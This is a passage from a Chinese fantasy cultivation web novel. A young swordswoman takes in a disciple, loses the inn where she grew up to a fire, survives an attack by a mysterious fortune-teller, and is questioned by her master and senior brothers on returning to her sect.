朝揽云和师祖格外反常地没有发现他对威压的敏感,就好像没有看到一般。
师祖慈祥温和地朝他笑着。
“我是太初宗的一个坐宗长老,你就跟懒云叫我师祖就好。”
“不可以!”朝揽云捧着饭碗,听到这句话,连忙开口阻止。
“要叫曾师祖!小白的剑法是我教的,至少要叫我师父的!”
她使劲用筷子敲了敲碗沿,以示抗议。
师祖哭笑不得地拍了拍她的头。
“你还没成为长老呢,怎么就收徒了。”
长孙白也连忙反应过来了,他有些拘束地站着,随着朝揽云心意开口叫道:“曾师祖。”
“真听话。”
朝揽云双手腾不开,满意地操纵黑剑飞过去,嘉奖般的轻拍了拍他的头。
长孙白的面容一瞬间如水波般破碎,让她恍惚。
师祖见她们两人都同意也只得默认了。
……
饭菜都被摆到了堂屋的桌子上,朝揽云和师祖坐在桌旁热火朝天地交流着比赛的事情,而长孙白则有些拘束地坐在一边默默吃着饭。
“所以九龙朝巅会要开始了。”
朝揽云若有所思地转着筷子。
她格外嚣张地说。
“无论如何,榜首的名号会是我的。”
师祖看着她张狂的模样,欣慰地点了点头又摇了摇头。
“所以你什么时候回宗。”
长孙白听到这句话咀嚼的动作一顿,他有些无助地看向朝揽云,眸光戚戚艾艾。
“至少现在不回去。”
朝揽云扫了长孙白一眼。
“小白还没处去,我总不能把他带回去吧,怕是会被说我们咒长孙家家主早死,我们宗门不合适。”
她斟酌着。
“我三周后回去,时间够给他找个地方住来。”
师祖应答了一声。
“你队伍里那群孩子组团去天梯了,他们托我给你带个消息。”
天梯,长白山冰溶洞范围内,从天偶降之神迹,可联通未来过去现在,一人只能进一次,出来后所有人都记忆都会模糊,大陆上所有修士都会在年少时去上一次。
“我倒想看看,他们能在古今的少年天才中占几流。”
她挑着眉,意气风发地轻扬眉角,看起来格外自信,相信自己的朋友们会爬上天梯顶端。
“他们可还说过要去耍耍将来的你,别中招了,回来被笑话。”
“我可会是最强的灵修,是预备队名正言顺的副队长。想让我起挂落,他们可得好好努力了。”
少年人就像炽热的太阳花,光芒万丈。
长孙白置身事外看着她,就像被射伤了眼一样,突然莫名低头沉默了起来。
“怎么了?”
尽管对细微的情绪变化不善捕捉,在长孙白莫名低头时,朝揽云还是很快注意到他的沉默。
师祖看她止住了话头,便跟着她一起看过去。
长孙白格外羞惭看着两个人一脸好奇地望了过来。
“我也想变强。”他连忙乱编了句谎话解释道。
朝揽云立马产生了兴趣,大胆口花花道。
“那就叫声师父来听听。师父带你变强。”
长孙白眸光落下,他面前饭菜冒出的白气随着鼻翼的呼吸产生了波动,形胜一张蜿蜒的心绪。
“师父。”
长孙白沉默片刻,突然用上齿磨了磨下牙乖乖叫道。
朝揽云没有想到他真的叫了,神色不由一愣,随后感到新奇似的勾起了唇角。
长孙白便抬起眸,看见此刻风也知意,向此处吹来,吹得朝揽云发尾飘扬,红衣猎猎作响。少年眉目舒展张扬,向他轻笑。
“既然如此叫我,那便是一定要听我的话了。”
长孙白落下了眸,盯着饭菜。
“当然。”
朝揽云眉目舒展,眼中却又多得了一份恍惚。
“自当如此。”
长孙白撑着看厨房冒出的浓烟,笑容僵了又僵。
“姐姐,这就是你昨晚答应我赌约的原因吗?”
“没规没矩。”
朝揽云得意忘形道,“叫师父。”
这事要从师祖走后说起。
师祖走后,看着桃花林里认真练剑的长孙白,朝揽云实在是无趣,无意间溜达到厨房。
随意塞了几捆木柴,引燃后就开始做饭。
她先将一捆面扔锅里,加上水,然后逛着调料台,看哪个顺眼就加进去一点。
看着颜色寡淡的面条,她又翻了翻灶台,加进去一个鸡蛋,拽了几片菜叶洗了洗扔进去。
看着锅里冒起白沫,她终于拿起锅铲搅了搅,随后就没有耐心地出锅了。
挂着几片菜叶,浮着鸡蛋沫的两碗面就这么出锅了。
而如今,面条正一碗摆在长孙白面前,一碗摆在朝揽云面前。
在几番犹豫,看着朝揽云毫无厌恶地大口吃着她那碗面条后,他终于尝了一口。
“师父,你是在报复我吗?”
长孙白的声线抖了几抖,却看到朝揽云一脸无辜地抬起头来。
其实要说朝揽云做的面条有多难吃倒不至于,至少可以吃不是吗?她这么多年也没把自己饿死。
但是对于一直饮食细致,离家出走后也因为自己得天独厚天赋异禀的厨艺,没有吃过这种东西的长孙白来说。
这就是一种报复。
“师父,”他痛定思痛,“以后的厨房还是我来掌管吧。”
“好啊!”朝揽云眼前一亮,开心答应了,能别人做的事情干嘛要亲力亲为呢。
她很快把自己的面条
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吃完了。
长孙白不忍目睹那色彩清淡口味却格外酸咸的面条。
百般犹豫之下,看着朝揽云吃光的面,处于不浪费粮食的想法,他还是吃完了自己的面。
朝揽云格外兴致勃勃地看着他一脸扭曲地吃完了面。
“这么难吃吗?”
她有些好奇,一开始也只是因为朋友在她每次出远门的时候都尽量给她准备好干粮,不许她自己做饭,想着用长孙白做个实验。
但是此刻看着他的脸色,朝揽云颇有体会了。
长孙白只是摇了摇头,示意道:“不难吃。”
“好吧,吃完我带你去拜拜山头,三周后我要回宗一趟,你如果还不想回家我就拜托朋友照顾你。”
看着他倔嘴,朝揽云行动力极强地立刻站起了身。
长孙白收拾完碗筷便站到了她身边。
朝揽云抓住他的肩,拉着他往上一跳,黑剑早已自觉浮在上空。她们跳上剑,便风驰电掣地向远处奔去了。
剑下的风景不断变幻,行过无数河滩,飞过稀落草地。
这才至一处干净整洁又繁华旷大的木屋处。
木屋细节处雕着一些不同的动物图案,颇有些精致意味,四处挂着红绸,不少杂务酒具堆在屋外,灶房处传出一道浓厚涂抹的烟。
牌匾上冠着四个张牙舞爪的大字“观星旅舍”。
旅舍前有一美艳中年红衣女子,头着琉璃身挂琳琅,正指挥着一群布衣伙计搬着酒缸。
“九昭!”
朝揽云还在天上就赶忙招着手,开心地喊了起来。
她的动作弄得剑抖了又抖,长孙白措手不及之间,只得赶忙紧紧抱住了她。
“颂九昭!”朝揽云随手揽紧了他,一脸自豪炫耀地一扬手,指着地面上同样向她招起了手的红衣女子向长孙白介绍道。
“是个大鹈鹕妖,这一带最大旅馆的老板,能生吞十壶酒,可厉害了。”
她跳到地上,左手接住了被黑剑扔下来的长孙白,指着自己的衣服。
“我身上这身红衣就是九昭给我做的。”
黑剑见她身上没有剑囊可以休息,便一下落到长孙白怀里了。
长孙白始料不及。
“师…”
话还未说毕,朝揽云就被赶来的颂九昭一把搂进了怀里。
长孙白只得将她的武器紧紧抱住了。
“我的小度云真君欸,怎么这么久没来看姐姐我啊。莫不是有了新欢,喜新厌旧了?那个糊涂道士把你拐走了,是与不是?”
朝揽云立即把长孙白抛到了脑后,一口气把自己摊到她怀里。
“我当然最喜欢九昭姐了。前段时间是北屿那边闹灾了,赶去帮忙了,信来的太急,路上遇到凉凉托她给九昭姐带信了啊。”
“就会口花花,天天到处赶,也不好好休息。”
颂九昭满脸笑意,故意截住朝揽云提起小鼠妖凉凉的话头。
“不是口花花!是真心!”
朝揽云认真看着颂九昭纠正。
她没有察觉到颂九昭神色有些忧虑。
长孙白却察觉到了这里的气氛不对,他环顾周围打量了一圈,回过身来却看到朝揽云依旧整个人黏在颂九昭怀里。
“你呀,调皮鬼,明明都长这么大了,还要撒娇。”
颂九昭亲昵地称呼着朝揽云,她尽力在朝揽云面前掩盖着她内心的焦躁。
这恰好被敏感的长孙白察觉到了。
“师父。”
长孙白终于忍不住喊出了声。
朝揽云瞥了他一眼,抱着最后一丝为人师表的矜持,只得不情愿地站好了。
“九昭姐,这是我刚刚认的徒弟,带来给你认认门面,以后有什么都可以吩咐他。”
她介绍道。
颂九昭挑起了眉,颇有些挑剔地打量了长孙白一眼。
“好吧,既然是你的徒弟,那就罢了。怎么就这么仓促呢,我还想过你收徒时帮你考察考察呢。”
她有些遗憾。
“那不是刚好遇上了吗。”
颂九昭一看就知道她没把这段师徒关系放到心上,就当玩闹。
“既然如此就进来吧。”
她无奈笑道。
“刚好旅馆要酿新酒了,给你冰了些果汁。”
朝揽云不假思索地就拉着长孙白往里走。
旅馆里人声嘈杂,大片大片的酒意随风吹来。
7. 第 7 章
“小真君,这段时间哪去了?”
酒桌上的人们招呼道。
“当然是除魔卫道了!”
“当然当然,”酒客们应着朝揽云哈哈笑起来,“就数小真君是保护我们的大英雄。”
“吓,谁说不是呢,那么大一条巨蛇异变了,小真君还就堪堪把它斩了,数小时候可想不到能有这么大威力,真真大英雄。”
朝揽云憋着眸间那得意光辉,掩饰般皱了皱鼻子,一脸骄矜道。
“如何大英雄,跟哄小孩一般。就算是大英雄我将来的成就也不只会是斩一条蛇,以后你们不用去杀怪都是我的功劳。”
“呦呦,这话说的。”众人绕着朝揽云说起了玩笑话。欢声笑语不断,朝揽云反而得意地不说话,听着那些充满善意的吹捧了。
四周拥挤而来,长孙白因此站立不稳,赶忙扯住了她的臂,拉了拉她。在一个格外生疏的环境里,他表现地分外拘谨木讷,不想给她的长辈友人留下不好的印象。
“各位瞧一瞧,看一看。”
朝揽云便立马扶住他的肩,得意将他转着面相众人。
“这是我徒弟,刚收的,还新鲜热乎着呢,就赶忙捎过来给各位掌掌眼了。”
为了加速长孙白融入这里,她扬起手,“现在,可以开夸了!”
夸奖是最好的交流方式,朝揽云得意洋洋地想。
“哦?”离得最近的一个修眉青巾文士笑了起来,调侃道,“度灵小友想让我们夸什么?”
他身旁一位珀金长袍女子听出他的揶揄立马跟笑,她扬起了那双凌厉黑眸,扬声道。
“还能夸什么?度灵小友真真本事高,不过少年便已收徒如此,将来也必能开宗立派灭杀异怪,让人崇尚不得!徒弟也是格外白肤秀气,看着就像有个大志气的模样。”
“如何?满意是否?”
“嘿嘿,”朝揽云连忙拱手示意各位散开,拉着长孙白凑了过去,“果然麟姑姑最知我意了。”
她厚着脸皮道:“即如此说,姑姑心中可要真真期待,不准欺瞒人。”
“那可不是,”金鳞用剑柄敲了敲她的头,“你可是我当年捡过来的,什么鬼心思,我还不知?”
朝揽云笑得像朵乖巧的花一样把长孙白拉到她面前,给他介绍门路,“金鳞姑姑,是个厉害的符修。硕汝叔,是个刀客。”
长孙白本还在因朝揽云好似完全忘了自己有些悲意,埋埋怨怨哀哀叹叹,悄咪咪地偷看着她,听此一眼却有些惊讶地望向了硕汝。
“在想这么文气的人竟然是刀客,对不对?”
“不要惊讶嘛,”朝揽云随手就拍上了他的头,“我的刀法可还是硕汝叔教的。还有别看金鳞姐这样,她可是中境天骄城冲出的金龙,比那些人都要格外天潢贵胄,她那夜奔皇城渡的故事可至今都还在无数人口中流传,想要慕名追随。”
朝揽云明显夸夸其谈想要无数次叙述这个被她宣扬地都要老掉牙的故事,旅舍里迷醉的酒气和各人各就各位的谈话声都让她的兴致恍惚更上了一层。
“别看我这样?”金鳞哼笑一声,撇了一眼有些心不在焉的长孙白,似笑非笑地看着朝揽云,“你可真是长了胆呢。”
朝揽云装作看不见的模样,揽住长孙白哈哈一笑。
或许是没揽稳,她的眼前一瞬间一黑,腿脚无力,听到一些细碎陌生的对话,脑子里满被灌输了“计划”二字。她挣扎出神智,无意识地想,灵力似乎有些不对劲。
她努力控制自己不去压在长孙白身上支撑身体,直到半瞬过后,慢慢恢复了力气。
面前所有人都好似时间静止一般,所有情景都停留在她闭眼那刻又重新流动。
“你们有没有感觉有些奇怪,风,很紧绷。”
长孙白抓紧了半布他肩上朝揽云的衣袖,似乎受到了什么冲击,额间冒汗,一阵心神不定终于开了口。
朝揽云轻轻呼吸着,维持着自己的清醒。
“什么奇怪?”
朝揽云好似没有经历过方才的昏厥一般并不明白,她回过神来,自然地隐藏起来自己的凌乱,仔细感受着,“似乎是灵力有些多?”她指尖蕴出一团拳头大灵气,“以往我几秒时间只能团出茶碗大灵气,但是现在两个茶碗。”
长孙白格外白净的脸上如同被涂满了一片红,冒着微微热气,朝揽云伸手去摸。
格外滚烫。
“真真是,都告诉你了不用每晚练剑,我不会抛下你的,都发烧了。”
不是这个原因,长孙白努力摇头,却昏睡过去,朝揽云只得把他扶在自己肩上。
四下里颇有些酒气熏天。
朝揽云皱着眉抱怨了一句后,就与金鳞和硕汝告别,用衣袖捂着长孙白鼻子,拉着他来到了专留给她的房间。
“喜叔。”
二楼一阵响动后,下来一个书生模样的丹凤眼,探头进来,他的眼睛是红色的竖瞳,善医术,是个十几丈的白色巨蟒所化身。
“放心,我会看好他的。”
他将长孙白接过了说道。
朝揽云强扯着笑点了点头准备去找颂九昭,长孙白的手紧攥着她袖子,面上红晕遍布死气,扯不下来。
朝揽云一剑将那块布料削了下来。
门外因着突发的事件窸窸窣窣地扬起了无数细语,如同浪潮。
她刚要出门就感到头脑晕眩,靠在门沿闭上了眼,朝揽云向后攥紧支撑着身子不去倒下,脑海中身旁的声音一遍遍冲起了浪潮,将她一个人在无人的沙滩边缘,冲来又去。
她努力伸手去抓住船沿,手抽搐着,她不知道哪边是死亡的彼岸,两处都有她所亲爱的人们。
真奇怪,她无力想着,噩梦怎么到现实来了呢。
“姐姐!度灵姐姐!”
一阵哭声抱住了她的大腿,“凉凉丢了!凉凉不见了!”
她猛的惊醒了,入目即是哭花的一张脸。
“凉凉,丢了?”
“九昭姐!你瞒我?我这么信任你,你瞒我?”
朝揽云安慰好哭花脸的孩子后立马不管不顾冲出了门。
颂九昭还倚在门外,目光斜斜地看向夕阳,身畔还回荡着搬酒伙计的谈话声。
她回过了头,看向一脸脆弱的朝揽云,伴着那斜阳遮在脸上的晖落,弯起红唇轻笑了起来。
“鼓豆告诉你的吧,真是的,我都警告她了。”
“姐姐!”
朝揽云大声冲过去,想去拽住她,却还是手颤,她拘束地收回了手,“究竟遇上什么事了?连我也要瞒着!我不是…”
她的情绪莫名冲动,只是一味地感到自己不受信任被排斥了。
她抬起泪光染尽了的眸子,不敢去看她的眼,只是盯着她脖颈那条红绳穿着的古铜色雕牌,眼中光景不断被泪珠招惹来的无数霓光折射染尽,“我不是观星旅舍的人吗?是因为我是后被捡来的孩子吗,是因为我是…”
颂九昭抬起原本似笑非笑的眸。
也对,她想,就算度灵表现得十分开朗,但这也不意味着一个八岁就独身行走除妖斩魔的孩子不会掩饰
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不会脆弱,只是因为一场阵法把情绪都激发了。
她想对她笑一笑,突然有些后悔没早些遇到她,又这么早就要走了,黑发黑眸的少女会为此伤心的吧。
“我的度灵啊!”
朝揽云只记得一声低叹回荡在她耳边,蒙昧迷茫的神思再次涌起将她的神思浸泡,她感到全身无力,鼻尖嗅到了旅舍最后一丝酒气。
有人接住她,捧住她的脸,亲昵地捏了捏,又摸了摸她的头。
“这是,”她眼前一片浓烟奔眸而来,她终于下定决心不敢去直视那最后的火场,“这是梦。”
她想去说服自己旅舍没有毁灭,脖颈后不断的刺痛却让她无法安眠。
“可以是梦。”
几近醒来,鹅黄衣裳女子干脆的声音打破了她最后一声挣扎。
朝揽云的手指已经在堂台上用力抓着,不由颤抖着,她眼前只见一片朦胧,五窍并封,分辨不出说话人的方位。
一声“乌傩”唤出,黑剑凌厉出锋,剑走游蛇冲入她手中。
朝揽云扶堂站起,眼前堂台器物不清,一片火海跃动在眼球光点,她抓牢了剑柄,将锋刃横在身前,这是一个自卫也可以自戕的姿势。
她警惕着那个奇怪的女子。
鹅黄衣裳少女悄若无闻地探上了她的手背,她的手格外柔软,朝揽云没有丝毫察觉,吓得一激灵,赶忙退后了几步。
“哎呀,小姑娘,不用这么害怕我呀。”
面前人的声音逐渐变成熟,空中弥漫起了一种瘴雾的气息,朝揽云脱离不开她那双温和却又毛骨悚然的手。
她大拇指附上剑刃用力一按,随着血的涌出,朝揽云向后退了一步,咬着牙温和地请了个礼。
“不知何方前辈,是晚辈冒犯了。回太初宗以后定向长辈禀明,来向前辈负荆请罪。”
本还在看着朝揽云流血手指,一脸欲收入囊中蠢蠢欲动的女子瞬间就不感兴趣了。
她摆摆手,“小后生,用宗门威胁我?你叫何名?我倒是要算算你的命运。”
朝揽云神色不动,仍旧保持那副温和有礼态度,迫于弱势恭谨作揖回答道。
“晚辈朝揽云见过…”
“你叫什么!”
堂台器物奔走间都被扫下,噼里啪啦。如同一阵犀利嘶哑声,女子突然破了声尖嗓起来,她一瞬间穿过那些瓷片窜过来,双手放到她的肩上,也正因此看到了她颈后的那道疤痕。
“朝揽云。”
朝揽云强撑着身体不倒回答道。
似乎过了很久,女子的力气似乎每分每刻都在加大,朝揽云还是看不清她的外貌,店铺如今的模样,她眼中只有一团轮廓,极淡的灰白色混着萧青。鼻尖的瘴雾气息逐渐淡去。
她看到灰发灰眸的女子手指一摆,几套龟甲蓍草沿她的生辰年月摆布成一盘,她整个人被罩在浓厚又沉怄的香火烛油诸般可以使人窒息的气味之中。
幻灭的绒毛,沧桑无色的花瓣,她意图反抗却被抽去了视觉听力触觉,抽去了骨髓之处便开始的力气。
黑剑她已拿不住,嘭然落下。
模糊之中看到了一个女子穿一身嫁衣样式红裳突然跳下了山崖。
她被惊醒,支撑着力气,指尖努力去够及那熟悉的黑色金属,乌傩不着生息,灵气逸散着,她也四肢被控制。
幸好青怜没来,将近窒息的时候,她努力张开口腔的空间气息去掠夺哪怕一丝洁净空气,她模糊中脑海最后只留下了那么一句。
灰发灰眸女子伸出手臂,在她面前。
8. 第 8 章
再次睁开眼时,朝揽云正躺在长街外的一颗树上,不远处便是与青怜分别的地址。青石地上,步履已陌,旧挂落还余半分阴影。
她抬起头看天色,至少已过去了三四个时辰。
扶着树枝起身后,树枝招摇抖落,她不由庆幸起来自己睡姿不错。树枝生长极险,只能将将固定住她,若一翻身定然跌下。朝揽云并没想过将自己弄得一团糟,跌下树去,还要劳青怜说一顿。
乌傩剑剑柄在她脸侧,被一根布条绑住摇摇欲坠,朝揽云稳定住身体,立马伸手取下。
树枝乱晃几下,抖落枯叶。现明明已是初春,此树却未着丝毫绿意。
她盯着身旁的树叶发呆了片刻后,才如同没有窒息过、遗忘了方才事故一般靠上树干,表情无波澜地掏出了无事牌,准备与青怜联系。
树枝很脆弱,她的动作迅速惊动了树叶,一纸信笺从树上掉落,带下片片飘零,朝揽云向前伸手接住。
“前敛”。
上方题着这两个大字。
果然是那个预言师啊,朝揽云心神未定漫无目的地想道,性情怪异这个词真是没形容错,无缘无故弄了一堆难懂的事情。她思考着,一时拿不稳这是不是一件需要上报宗门的事情。
根据师祖只会在重伤濒危的情况出现的规则来算,此次事件大概不用上报。
绞尽脑汁后,朝揽云手中无事牌现出温绿色光芒,她指尖一顿,犹豫地看向了长街尽头,在那里有和她手中无事牌接来灵力同样的气息,大概是青怜。
再说吧,她控制住满身的无力感,敛起神思,把信笺随手一丢收进储物囊,脚尖一跃,下了树枝,扬起手给无事牌输送了灵气。
无事牌上现出文字。
“师姐忙完后可至长街福来客栈处寻我。——青怜。”
福来客栈,朝揽云暗念一句就开始往那长街尽头赶去。
青绿色的小竹楼中,门匾上清秀簪花似竹的福来客栈四字。竹帘流落放数束金光入门去,朝揽云确认一下便迈步入门去。
入目即见,青怜正坐在接近门口的茶桌与一位布衣青涩面孔少年人交谈,她发间那微斜桃枝还依存旧貌。
朝揽云心中担忧,连忙紧走几步,青怜相貌姣好,若如她母亲一般遇上什么心怀不轨之人,便是无论如何她都愧疚不清。
“懒云!”
青怜着意坐在门口,一直分神向门外看着,直到看见朝揽云走来才放松了心神,可才睹至她那有些凌乱了的衣服,她的心神立马提起了。
“衣裳怎么乱成这样了?”她立马起身快步走向朝揽云,伸出手为她整理了一下衣物,打量着她身上是否多出了什么伤痕。
朝揽云并没有觉得自己的衣服有哪里凌乱,却还是站在原地乖乖任她摆弄。
“和人打了一架。”她避重就轻回答道,“倒是青怜玩到什么有趣东西了吗?”
青怜嗔怒地看她一眼,便也没有追问,向她介绍茶桌那边望过来的少年人。
“陆青梧,来攀太初宗拜师学艺的一位人士,布料铺认识的,极善布料分辨,如果入宗可以让文二师兄注意一下。”
文朔是朝揽云二师兄,极善经商,主掌宗门的财政。
朝揽云对着望来的陆青梧,温和地笑着点了点头,那人也回过来一个笑容。
“这位仙长好。”
朝揽云还是第一次听到这种称呼,她扯住青怜宽袖,愣了一下,颇为别扭。仙长?不过修行者,竟有这种称呼。
“你好,”她拱了拱手,思考着应当对他的称呼。
“仙长叫我青梧即可。”陆青梧看她顿住连忙作声。
“和青字辈雷同。”几人互相推诿入座,朝揽云听到这个名字后无意识说道。
“不瞒仙长所料,小生所名的确循太初字辈。此名源于一位仙师,小生一家被太初和千仞两宗驻地仙长所救,后仙长不幸离世。家中弟妹找到归处后,小生便继承了他的名字前来求师。”
茶桌上瓷制的茶具规整摆布仅有两盏,陆青梧伸手唤人增添茶具。
朝揽云沉默片刻,“节哀,宗门会把所有牺牲者的骨灰收回葬于后山,你可以趁此机会祭拜。但后山墓碑延绵不绝,请不要执着,仅在山前敬一炷香即可。”
陆青梧无声笑了起来,有些忧伤。
“小生若能入宗必也要葬于此地,可惜修炼的天赋如果没有是无法强求的。”
“这倒不是。”朝揽云向旁边送来茶水的伙计点了点头,接过茶水接话道。
青怜一直认真旁听,见朝揽云自顾自饮上了茶,她只得接替她的话头为陆青梧解释。
“西漠有一种修炼体系名为体修,无法聚集灵气的人也可以修行。唯一弊端是修炼必须要借助一种西漠独特的气候‘沙尘暴’,所以无法普及。”
“而且西漠是妖族为主,最近和人族闹矛盾了,你去不了。”朝揽云咽下口中茶水补充道,“如果坚持要去,九成可能会死的。”
“情况已经如此严峻了吗?”陆青梧眼中亮光刚寐就被吓了一跳。
“这倒没有,”朝揽云看着他不定的表情,挑了挑眉,“主要是西漠气候恶劣,多山石,你这般体格贸然去闯,会死于沙尘暴的山石攻击的。”
陆青梧一脸落寞,朝揽云话赶话地就安慰了起来。
“倒也不必这般,我在你身上还是感到了一些灵气波动的,而且你若是无法修炼还可以去…”
她话头忽地一顿,去哪呢?旅舍不在了啊。
“还可以去山下组织的巡逻队帮忙啊,”青怜察觉到她突然的低落,安慰地握住了她的手腕,保持笑意继续回答道,“其实我们和千仞宗的人手都不太够,所以召集一部分无法修炼但是经过训练的人组成巡逻队帮忙。”
朝揽云目光无所临处,跟着燃起希望望着青怜的陆青梧,一脸迷茫地看向了青怜。
她此刻没有丝毫意识掩饰情绪。
旅舍究竟怎么样了?记忆中只记得它被一场火烧了。
然后呢?之后怎么样了?她记不得了。
谁会给我答案,她漫无目的地想,会有人知道吗,其实她也不是那么想知道。
青怜有些无奈,匆匆与陆青梧结束话题,结账带她出门。
“师姐一定遇到什么事情了吧。”她柔声安慰。
朝揽云不想回答,她亲亲昵昵埋埋怨怨地抱怨道:“也只有这种时候你会叫我师姐了。”
朝揽云不想回答,青怜便不再作问,她只是默默整理了一下她有些乱的鬓发。
“还想去哪里逛逛?”朝揽云很快压好情绪,一脸欢天喜地问道。
“回宗吧。”青怜握着她手腕微笑说道,“看,夕阳要来了,我们该回家了。”
家。好奇怪,她想。
朝揽云点了点头便环住了她,跳上剑,一路疾驰不忘遮挡住冲向青怜面上的风。
宗门木质大门前,落霞孤鹜共枯阳,天边尽,金壶泼晖。
黏连的两人剪影自云染之处而来。
“门前好像有人。”
“似乎是萧师兄。”青怜回答道。
朝揽云于半空中抱住青怜落地,隐约间看到门前三人,一人为大师兄萧驷,另外两人暂时无法辨别。
她
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拉着青怜走进,欲去看看热闹。
“这是,”大师兄身边那个身量较长,一脸文气的狐狸眼男子在朝揽云落地时就认出了她,他惊叹道,“八年未见,懒云竟长成如今模样,这般孟浪行径我都没做过。”
他的脑壳不轻不重地被萧驷敲了一下。
“文朔师兄。”朝揽云听此话立马判断出喊道。
“师妹竟还记得我?”文朔有些惊讶,看她看向最后一个人,他用扇面拍了拍他身边那个看起来只有十二三岁的小孩介绍道,“这是南宫沐,是你四师弟。”
“你好。”朝揽云低下头对南宫沐开口道。
南宫沐长着一双虎眼,没有表情地点了点头,开口道:“云师姐好。”
他说话有些漏风,似乎是还在换牙期。迫于刚认识,尽管非常想习惯性地口花花几句,朝揽云还是非常有道德心地没有调侃,转向调侃文朔。
“毕竟师父门下这么口花花的总不会是大师兄。”
文朔轻笑一声便与青怜见礼,两人皆分外拘谨。
“你们很不熟吗?我记得小时候青怜经常来找我,你也会被师父赶来看护啊。”
朝揽云在一旁看着好奇,青怜见礼过后便不太愿说话,微抿住了唇。
“青月长老与师父分管不同的职务,青月长老峰下都是女弟子,我们峰除了你就我和大师兄,现在又加了个四师弟。你走了青怜师妹自然不会再来了。”
文朔扇着扇子漫不经心回答道。
“也对,那青怜要和我一起去晓峰聚餐吗?”
朝揽云其实对这群只是存在于记忆中的师父师兄们是有些恐慌的,她完美地笑着应对了所有交谈,但此刻还是想抓根救命稻草。
“不用了,我明天会去院子里找你的。”青怜一直移开眼神,勉强笑笑,有些拘束,她好像不太喜欢文朔。
朝揽云有些察觉到便立刻伸手告别。
“那明天我等你。”
青怜转身离开。顾不得自己的情绪,朝揽云停顿片刻见她走远,才发问道。
“我在山下都听说过二师兄的几桩风流韵事,”她抱着剑看着青怜离去的背影,貌似轻飘飘地说,“二师兄没招惹青怜吧,她可是和我一样才十六,二师兄都二十二了吧。”
“就这么怀疑师兄啊,真令人伤心。”
文朔笑得眯起眼。
萧驷只是一直在一旁看热闹,直到此刻才把南宫沐拉过去,免得他被文朔抓去挡了战火。
“那便伤心吧。”朝揽云随手调动出一团灵气,左手抱剑,右手将其随意抛弄着,随时准备和他动手。
文朔权衡利弊片刻立马合扇笑道:“师妹这话说的,我可是在你襁褓时就看着你的二师兄,怎么会做那种事。只不过和青月长老峰下几位弟子有过情缘牵扯罢了。青怜师妹自也是因此对我多了几分偏见。”
朝揽云哼笑一声,伸手一弹将那团灵气化开。
“师兄真是,私德不畅啊。”
而一边跟着萧驷,眸子亮晶晶看着热闹的南宫沐看此突然颇有感触地应和一句。
“没错,私德不畅,其他宗师姐来找你时,你竟然拿我挡刀!”
“哇,”
朝揽云似笑非笑投过眸去,“已经不只是私德不畅了啊!”
长空横鹜奔落霞,剑气划暮,坠影入晓峰。
四人降落在满峰唯一一棵绿植下。
一棵柳树,名为柳栁的长老正站在其下。
“懒云,你遇到什么厉害人物了?”
他抬起眸疑惑看来。
朝揽云一直微笑着的嘴角冷淡一收。
9. 第 9 章
“师父在说什么厉害人物?”她的笑容很轻,眼中仿佛都是笑意,“哈哈,我竟也能遇上什么厉害人物?”
晓峰长老柳栁是目前全大陆最厉害的剑修。也正因如此,他总是杳无音信,这次朝揽云回宗能回来实在出人意料。
柳栁一身绿衣站在柳树下,随意的短小竹杆做簪束住了发丝,侧脸映着月光,一双眸淡然又凌厉地瞥了过来。
“撒谎。过了这么多年还是性子未改,随口就是扯谎,撒谎成性。”
朝揽云脸僵了一下,笑脸一瞬间有些古怪,“没有撒谎。”
只是遭了一场横来之祸,还没有搞清前因后果,不知道怎么说出而已。
她低声扯了扯嘴角。
几人之间的气氛很僵,僵得除了柳栁和朝揽云以外的人都不敢动。
“你还是这种性子。”
最后是柳栁先叹了口气,他率先迈步向前走去,走到不远处的院子中对剩下四人挥了挥手。
待四人心思各疑地走到院中石桌上分别坐下后,他又冷不丁开口了。
“那个人掐你脖子了,看痕迹是今天造成的。为什么不和我说,为什么否认。”
朝揽云有些茫然,身边萧驷等人也跟着师父的话语看向她。
朝揽云无法确认自己脖子上是否有痕迹,无法确认师父是否是框她,但是她记得青怜整理过她的衣襟,如果有明显痕迹为什么不告诉她呢?
“没有必要。”
她懒得扯了,随意耸了耸肩笑道,“我不是还活着吗?”她决定采取嘴硬措施,这一招在旅舍很管用的。
“师妹可是惹出来了什么祸事?”
文朔看着她这一副死猪不怕开水烫的样子,皮笑肉不笑开了口,“这般逃避问题如同犯了错事一般,是否是心虚难捱啊。”
朝揽云皱了皱眉。文朔很擅长用话语给人造成压迫感,而朝揽云极其讨厌着这种被话语层层压迫的感觉,这让她感到压抑,她几乎是立刻应激了。
“谁犯过错事?何事是错事,由谁来判定。我不过是隐瞒了一些无关紧要的情况,如何就成了错?”
“错在知情不报。师妹似乎一直都不清楚预备队和你那些编外成员不一样,是要守纪律的。又或者师妹认为自己的命,无关紧要?”
文朔眯起他那双狐狸眸,沉声说道,“看来师妹的年纪还是过于小了,无法承担重任,连简单的汇报情况都无法做到。师妹可不要认为自己什么事情都可以处理。”
什么事情都无法处理?朝揽云立刻恼怒了起来,她眼前浮现出那片将她回忆烧灼,过去不见踪影的大火。
朝揽云的精神状况似乎有些格外不稳,而这在她出门时都未曾发生,萧驷和文朔把她情绪的变化都收入眼下。
“我不处理谁能处理?人是找我来的,而后让我把这件事丢给别人?我成什么人了。”
文朔忽略她的不悦,脸上荡起了令人恼火的微笑。
“懒云,你看,你还是没有戒心。连自己要隐瞒什么都不清楚,这不就承认了,你的确被掐了脖子。”
“谁被掐脖子了?”
朝揽云按着剑有些恼火地想跳起来,却束于规矩忍耐地好好坐着。
“那是什么。”
“呵,”朝揽云冷静下来,“想套话啊,我偏不。”
“是吗?懒云。”
一直沉默的柳栁方才开口了,他一开口就把被激怒的朝揽云惊醒了。
朝揽云别开头,她此时的心情其实很奇怪,明白必须说出自己的弱态,又不愿向这么一堆这么多年只是存在在记忆中的人示弱。
示弱,无能为力地向他人求助。
朝揽云讨厌这样。
她恨恨地磨了磨牙,很快翻出了扔到储物囊深处的那纸信笺,随意将它扔到桌上。
一时间周围三个好奇的脑袋都凑了过去看。
“前敛。”萧驷犹豫开口,“看来长街的流言是真的,听说千仞宗的人今天去那里调查了,怎么被懒云遇上了。”
他一瞬间就联想到了最近议事堂的各种事务。
文朔扇着扇子,神思不定。
只有最无所谓的南宫沐伸出了手试图撕开那信笺。
“所以懒云是被她伤的?”萧驷冷静向柳栁发问,“师父眼中懒云的伤势是如何?”
他看不到柳栁所说的朝揽云被掐的痕迹。
“她脖颈处有一门束缚法阵的余留痕迹,”柳栁开口,“是窒息法阵,不知为何中途被破坏了,不然她就没命了。”
萧驷投过眸去,朝揽云正在桌子上托着下巴,百无聊赖地看着南宫沐使劲去撕那纸信笺。
